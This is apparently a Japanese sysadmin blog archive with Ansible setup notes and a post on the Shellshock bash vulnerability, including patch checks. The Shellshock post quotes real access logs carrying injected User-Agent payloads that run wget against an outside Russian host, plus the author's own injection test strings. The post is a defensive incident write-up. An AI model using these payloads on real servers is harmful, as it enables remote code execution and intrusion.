細かい仕様についてはやはり本サイトを参考にした方がよいでしょう。

5.その他
Ansible実行環境の定義はデフォルトで「/etc」配下のファイルを見に行きますが、
プレイブック実行環境に合わせて変更したい場合やリモートログインユーザーを省略したい場合
ローカルに設定ファイルを定義することも可能です。

# vim ansible.cfg
[defaults]
log_path=/var/log/ansible.log
remote_user=root


なんか急ぎで走り書きしてしまたので、うまく動かないかもしれませんが
参考にして頂けたらと思います。
実際に使ってみて思ったのですが、グループ定義それに紐づける変数定義の階層構造が難しく
最初は結構苦労しました。
その辺は私的にはChefの方が分かりやすかったですね。
とはいえAnsibleはコードさえ書けばいいのでお手軽です。
ぜひ無理のないAnsibleを。


入門Ansible
入門Ansible
posted with amazlet at 15.01.18
(2014-07-30)
売り上げランキング: 2,315

2015年1月7日水曜日

Amsible 初心者

Chefがある程度規模のある環境向けであるため、
中小環境ではなかなか使いにくいものになってしまった。

構成管理ツールの性質上多少はしかたのないものだけれど、
「クライアントいらず」「サーバーいらず」
必要なのはコードと実行環境のみというシンプルさから少し触ってみました。

1. はじめに


色々な構成管理ツールありますが、共通していえるのは
  • 対象サーバにSSH接続できる必要がある。
  • 対象サーバにPythonがインストールされている必要がある。
  • コードを実行する環境にはAnsibleをインストールする必要がある。
これくらいですかね?
これが手軽な理由です。
構成管理するサーバを管理しなくてよいく、コードの作成に集中できます。


2.Ansible実行環境の準備


Ansibleのコードを実行する環境を準備します。
パッケージをインストールします。
Ansible インストール

本サイトに行けばソースからも配布されていますが、EPELレポジトリでもRPMが配布されていますので、
EPELからインストールします。


# yum install --enablerepo=epel ansible
Dependencies Resolved

==========================================================================================================================================================================
Package Arch Version Repository Size
==========================================================================================================================================================================
Installing:
ansible noarch 1.7-1.el6 epel 874 k
Installing for dependencies:
PyYAML x86_64 3.10-3.el6 epel 157 k
libyaml x86_64 0.1.6-1.el6 epel 52 k
python-babel noarch 0.9.4-5.1.el6 base 1.4 M
python-crypto x86_64 2.0.1-22.el6 base 159 k
python-crypto2.6 x86_64 2.6.1-1.el6 epel 530 k
python-httplib2 noarch 0.7.7-1.el6 epel 70 k
python-jinja2 x86_64 2.2.1-2.el6_5 updates 466 k
python-keyczar noarch 0.71c-1.el6 epel 219 k
python-paramiko noarch 1.7.5-2.1.el6 base 728 k
python-pyasn1 noarch 0.0.12a-1.el6 base 70 k
python-setuptools noarch 0.6.10-3.el6 base 336 k

Transaction Summary
==========================================================================================================================================================================
Install 12 Package(s)

Total download size: 5.0 M
Installed size: 25 M

~<省略>
デーモンサービスやクライアントソフトでもなく本当にツールパッケージなので、
専用ユーザーが作成されたりはしません。

準備は以上で完了です。

さぁコーディングを行なっていきましょう。

3. Ansibleの操作


Ansibleのコードはプレイブックと呼ばれていますが、その前にインストールしたAnsibleの簡単な操作を。

サーバとの疎通確認
コードを作成し、実行する対象サーバとの疎通をおこなってみましょう。
操作を行ないたいサーバをリストに記述します。
# vim /etc/ansible/hosts
[test-server]
10.0.0.100
対象サーバにコマンドを実行してみます。

# ansible -i /etc/ansible/hosts 10.0.0.100 -k -c paramiko -m ping
10.0.0.100 | success >> {
"changed": false,
"ping": "pong"
}
成功すると、「success」が表示されます。
Pingとしていますが、実際はSSH接続していますので、SSH接続できる必要があります。

対象サーバ上でコマンドを実行させたい場合。
# ansible -i /etc/ansible/hosts 10.0.0.100 -k -c paramiko -a "hostname"
10.0.0.100 | success | rc=0 >>
test-server
そのほかにもオプションが色々あります。

その他
プレイブック内のタスク一覧確認
# ansible-playbook -i hosts/production provisioning.yml --list-task
プレイブックの構文確認
# ansible-playbook -i hosts/production provisioning.yml --syntax-check
プレイブックのテスト実行
# ansible-playbook -i hosts/production provisioning.yml -u ssh_user -C -k
SSH鍵を利用したプレイブックの実行
# ansible-playbook -i hosts/production provisioning.yml -u ssh_user --private-key=/path/id_rsa
SUDOを利用したプレイブックの実行
# ansible-playbook -i hosts/production provisioning.yml -u ssh_user -s -k

次はプレイブックの作成です。

Ansible: Up and Running
Ansible: Up and Running
posted with amazlet at 15.01.02
Lorin Hochstein
Oreilly & Associates Inc

2014年10月19日日曜日

ShellShock bashコマンドインジェクション

これは凄い!

GNU Bash に OS コマンドインジェクションの脆弱性

bash の脆弱性対策について(CVE-2014-6271 等)


GNU Bash には、環境変数にシェル関数定義を設定して他のシェルプロセスに渡す機能と、環境変数で設定されたシェル関数定義を取り込む機能が存在します。関数定義に続きシェルコマンドが記述されている形で環境変数が設定されているとき、GNU Bash は関数定義を取り込む際にそのシェルコマンドを実行してしまいます


たぶんある程度しっかり作られたアプリケーションのサイトや、
最新のパッケージを使っている環境ではあまりこの影響の脆弱性をうけるサイトは少ないのかなという印象です。

私が管理しているサイトでは脆弱性の再現は1サイトしかありませんでした。

テストは簡単に、ChromeやFireFoxのユーザーエージェントを指定できるプラグインで、
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
のような値を設定してサイトを回遊ました。

ちなみに、実際に攻撃が成功してしまった環境はちょっと古いOS 5系の環境。
  • Cent OS 5
  • Apache 2.2 標準RPM
  • PHP 5.3 ソースインストール
実際にきていた攻撃は下記のようなアクセス。
62.210.75.170 - - [30/Sep/2014:07:42:45 +0900] "GET /index.html HTTP/1.1" 200 4872 "() { :; }; /bin/bash -c 'wget http://creditstat.ru/Y3Vwbm9vZGxlcy1tdXNldW0uanBTaGVsbFNob2NrU2FsdA== >> /dev/null'" "() { :; }; /bin/bash -c 'wget http://creditstat.ru/Y3Vwbm9vZGxlcy1tdXNldW0uanBTaGVsbFNob2NrU2FsdA== >> /dev/null'" 1281928
62.210.75.170 - - [30/Sep/2014:07:42:52 +0900] "GET /index.html HTTP/1.1" 200 4872 "() { :; }; /bin/bash -c 'wget http://creditstat.ru/Y3Vwbm9vZGxlcy1tdXNldW0uanBTaGVsbFNob2NrU2FsdA== >> /dev/null'" "() { :; }; /bin/bash -c 'wget http://creditstat.ru/Y3Vwbm9vZGxlcy1tdXNldW0uanBTaGVsbFNob2NrU2FsdA== >> /dev/null'" 1232626
62.210.75.170 - - [30/Sep/2014:07:42:59 +0900] "GET /index.html HTTP/1.1" 200 4872 "() { :; }; /bin/bash -c '/usr/bin/wget http://creditstat.ru/Y3Vwbm9vZGxlcy1tdXNldW0uanBTaGVsbFNob2NrU2FsdA== >> /dev/null'" "() { :; }; /bin/bash -c '/usr/bin/wget http://creditstat.ru/Y3Vwbm9vZGxlcy1tdXNldW0uanBTaGVsbFNob2NrU2FsdA== >> /dev/null'" 1227358
62.210.75.170 - - [30/Sep/2014:07:43:01 +0900] "GET /index.html HTTP/1.1" 200 4872 "() { :; }; /bin/bash -c '/usr/bin/wget http://creditstat.ru/Y3Vwbm9vZGxlcy1tdXNldW0uanBTaGVsbFNob2NrU2FsdA== >> /dev/null'" "() { :; }; /bin/bash -c '/usr/bin/wget http://creditstat.ru/Y3Vwbm9vZGxlcy1tdXNldW0uanBTaGVsbFNob2NrU2FsdA== >> /dev/null'" 1247845
実際に攻撃が成功すると、下記のようなメッセージがsyslogに出力されました。

Sep 30 07:42:23 GSA040014009 kernel: sh[26924]: segfault at 0000000000000000 rip 00000000004373c7 rsp 00007fff1f9b5610 error 4
Sep 30 07:42:23 GSA040014009 kernel: sh[26926]: segfault at 0000000000000000 rip 00000000004373c7 rsp 00007fff3edfcdb0 error 4
Sep 30 07:42:26 GSA040014009 kernel: sh[26928]: segfault at 0000000000000000 rip 00000000004373c7 rsp 00007fff3f09fb50 error 4
Sep 30 07:42:26 GSA040014009 kernel: sh[26930]: segfault at 0000000000000000 rip 00000000004373c7 rsp 00007fff22324de0 error 4
Sep 30 07:42:27 GSA040014009 kernel: sh[26932]: segfault at 0000000000000000 rip 00000000004373c7 rsp 00007fff880e3000 error 4
メモリのセグメンテーションエラーね。
そしてApacheのエラーログには親切に下記ログも
/bin/sh: wget: No such file or directory
/bin/sh: wget: No such file or directory
/bin/sh: wget: No such file or directory
--2014-09-30 07:42:38-- http://creditstat.ru/Y3Vwbm9vZGxlcy1tdXNldW0uanBTaGVsbFNob2NrU2FsdA==
Resolving creditstat.ru... 78.46.37.177
Connecting to creditstat.ru|78.46.37.177|:80... connected.
HTTP request sent, awaiting response... 404 Not Found
2014-09-30 07:42:38 ERROR 404: Not Found.
見事動作させられてますね、ありがとうございます。
他にはmailコマンドを実行させられたり、「/tmp」領域にファイルを配置されたり。
今回はユーザーエージェントにコードをセットされていたから分かりやすかったですが、
Cookieや他にログに残らないようなアクセスだと、なかなか検知は難しかったかもしれないですね。

実際どこに実行箇所があったかというと、HTML内に記述していた
<!--#exec cgi="~" -->
上記部分でした。
Apacheで"IncludeNOEXEC"していれば防げていたかもしれませんが・・・

対応策はBashのアップデートを上げるしか基本的には無いので、もちろんアップデート。
アップデートした場合、OSの再起動が必要なのか、いらいないとか。
ここはRedhatの情報に従って確認していきましょう。

特殊な細工がされた環境変数による Bash コードインジェクションの脆弱性 (CVE-2014-6271、CVE-2014-7169)

Bash変数を設定して起動しているサービスが無いか確認。


エクスポートされた Bash 機能を使用している場合は、影響を受けるサービスを再起動することが推奨されます。影響を受けるインタラクティブなユーザーが再ログインしたり、画面または tmux セッションを再起動したりする必要があるかもしれません。
これらの問題を修正するために提供された Bash アップデートは、この環境でエクスポートされた関数の名前を変更します。古いバージョンの Bash が関数をエクスポートしている場合、その関数はアップデート後に新しく起動した Bash プロセスでは認識されないため、定義されていない状態になります。サービスを再起動すると、新しいバージョンの Bashは、期待した名前で関数をエクスポートするため、再度表示されます。


# grep -l -z '[^)]=() {' /proc/[1-9]*/environ | cut -d/ -f3

とはいえ、変数が空になって後で上手く動いていないことが分かるのはやなので、
私の場合は再起動しました。

アップデート後はそれぞれの脆弱性が修正されている事を確認。
CVE-2014-6271

# env 'x=() { :;}; echo vulnerable' 'BASH_FUNC_x()=() { :;}; echo vulnerable' bash -c "echo test"
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
bash: error importing function definition for `BASH_FUNC_x()'
test
RHSA-2014:1306、RHSA-2014:1311 および RHSA-2014:1312
# env 'x=() { :;}; echo vulnerable' 'BASH_FUNC_x()=() { :;}; echo vulnerable' bash -c "echo test"
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `BASH_FUNC_x'
test
CVE-2014-7169
# cd /tmp; rm -f /tmp/echo; env 'x=() { (a)=>\' bash -c "echo date"; cat /tmp/echo
date
cat:/tmp/echo:No such file or directory
以上で対応自体は完了。アップデートするだけの簡単な作業ですね。

今回の脆弱性はサイト上に問題が無くても、対象であればアップデートしたほうがいいでしょう。
今回の対応で面倒だったのは「もしも」の場合に備えて今のバージョンと同じパッケージを探しておくことでした。
OS6系ならまだまだ大丈夫ですが、5系はもう古いのはないですからね。
当時のメディアがあってよかった。

入門bash 第3版
入門bash 第3版
posted with amazlet at 14.10.18
Cameron Newham Bill Rosenblatt
オライリージャパン
売り上げランキング: 369,620